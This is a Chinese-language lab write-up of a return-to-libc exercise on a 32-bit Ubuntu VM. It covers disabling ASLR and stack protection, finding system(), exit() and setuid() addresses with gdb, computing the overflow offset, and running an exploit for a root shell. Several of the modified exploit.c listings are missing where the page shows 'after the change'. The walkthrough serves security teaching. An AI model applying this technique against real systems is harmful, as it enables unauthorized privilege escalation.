return2libc实验

首先,实验程序GitHub链接
注:实验环境为Ubuntu16.04的32位虚拟机(virtualbox)

1. 预备工作

关闭地址随机化,否则攻击失败

sudo sysctl -w kernel.randomize_va_space=0

2. 任务1——查找libc函数的地址

编译retlib.c,设置-fno-stack-protector关闭ubuntu上StackGuard保护机制,设置-z -execstack/noexecstack可打开或关闭可执行栈的机制,使用gdb来获取当前system()与exit()的地址

sudo gcc retlib.c -fno-stack-protector -z noexecstack -o retlib -g
sudo chmod 4755 retlib
gdb -q retlib
#进入gdb命令行
b main
r
p system
p exit
q

我们可以看到system()函数的地址是0xb7e43da0,exit()函数的地址是0xb7e379d0,使用上述得到的地址更改程序exploit.c:

改完之后:

3. 任务2——将shell字符串放入内存中

创建环境变量MYSH来记录/bin/sh路径,编译getenv.c,运行getenv程序获取/bin/sh的地址

export MYSH="/bin/sh"
gcc getenv.c -z noexecstack -o getenv -g
./getenv MYSH ./retlib

可以看到/bin/sh的地址为0xbffffe41,使用上述得到的地址更改程序exploit.c:

改完之后:

4. 任务3——找出栈溢出地址相对buffer的偏移

下面我们介绍 *(long *) &buf[24] = 0xb7e5f430 ; // system() 中的24是怎么得到的;
首先你应该对return to libc的原理有一定了解(不了解先参见此处)(原理看完就可以回来了,实验部分这里讲得更清楚_)
这里的24就是栈溢出地址相对buffer的偏移;一种有用的办法是这样做的:生成较长的由a-zA-Z组成的随机字符串(比如我生成长100的这样的字符串),将它写入badfile文件,然后用gdb调试retlib程序;
rand.py程序如下:

from string import ascii_letters as al
from random import randint

X=[randint(0,51) for _ in range(100)]
print ''.join([al[x] for x in X])
python rand.py >> badfile
gdb -q retlib
#进入gdb命令行
r

不用设置断点,直接运行然后会发生栈溢出错误,并且告诉你栈溢出的地址,在我调试的过程中,栈溢出的地址为0x4a4c4e49,把这个地址转换为字符串并反转是INLJ(之所以要反转是因为地址的表示为大端表示),INLJ在上述生成的随机字符串中的索引就是24,说明栈溢出地址相对buffer的偏移为24;

5. 任务4——利用缓冲区溢出漏洞

编译exploit.c,攻击,进入/bin/sh程序

gcc exploit.c -z noexecstack -o exploit
./exploit
./retlib

6. 任务5——增加调用setuid进行提权

首先按照同样的方式获取setuid()函数的地址,然后更改程序exploit.c;

gdb -q retlib
#进入gdb命令行
b main
r
p setuid
q

可以看到setuid()函数的地址为0xb7eba2e0,使用上述得到的地址更改程序exploit.c,改完之后:

重新编译exploit.c然后进行攻击(如果攻击失败,尝试:重启->关闭地址随机化->export MYSH="/bin/sh",然后重新执行下面三行命令)

gcc exploit.c -z noexecstack -o exploit
./exploit
./retlib

攻击结果如下:

原文地址:https://www.cnblogs.com/coming1890/p/13846806.html